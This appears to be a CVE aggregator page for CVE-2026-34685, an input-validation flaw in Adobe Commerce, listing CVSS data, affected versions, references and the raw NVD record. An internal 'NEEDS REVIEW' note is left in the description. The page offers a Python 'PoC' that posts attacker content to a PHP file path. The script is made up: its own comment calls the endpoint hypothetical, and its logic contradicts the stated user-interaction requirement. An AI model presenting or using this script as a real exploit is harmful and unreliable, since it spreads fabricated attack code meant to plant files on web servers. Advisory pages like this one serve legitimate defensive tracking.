CVE-2026-34685

Description

Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier [NEEDS REVIEW: impact mismatch — ticket says 'Arbitrary file system write', CIA triad derives 'Security Feature Bypass'. Verify CVSS vector before publishing.] are affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. A high-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

CVSS Details

CVSS Score

3.4

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Adobe Commerce 2.4.9-beta1 及更早版本

Adobe Commerce 2.4.8-p4 及更早版本

Adobe Commerce 2.4.7-p9 及更早版本

Adobe Commerce 2.4.6-p14 及更早版本

Adobe Commerce 2.4.5-p16 及更早版本

Adobe Commerce 2.4.4-p17 及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Concept for CVE-2026-34685
# This demonstrates the logic of the exploit requiring High Privileges and User Interaction.

import requests

def exploit(target_url, admin_cookie):
    """
    Simulates the unauthorized file write via input validation bypass.
    Requires a valid high-privileged session cookie.
    """
    headers = {
        "Cookie": f"admin={admin_cookie}",
        "User-Agent": "Mozilla/5.0 (Attacker Browser)"
    }

    # Malicious data to bypass security checks and write to filesystem
    # Endpoint is hypothetical based on the vulnerability description
    payload = {
        "data": "malicious_content",
        "target_path": "/var/www/html/exploit.php"
    }

    try:
        # The victim (high privileged user) must visit this URL
        response = requests.post(f"{target_url}/api/vulnerable_endpoint", headers=headers, data=payload)
        if response.status_code == 200:
            print("[+] Exploit successful: File written.")
        else:
            print("[-] Exploit failed.")
    except Exception as e:
        print(f"Error: {e}")

# Usage: exploit("http://example.com", "session_id_value")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34685
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34685
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34685/
[4] VulDB https://vuldb.com/cve/CVE-2026-34685
[5] https://helpx.adobe.com/security/products/magento/apsb26-49.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34685", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:38.480", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier [NEEDS REVIEW: impact mismatch — ticket says 'Arbitrary file system write', CIA triad derives 'Security Feature Bypass'. Verify CVSS vector before publishing.] are affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. A high-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N", "baseScore": 3.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/magento/apsb26-49.html", "source": "[email protected]"}]}}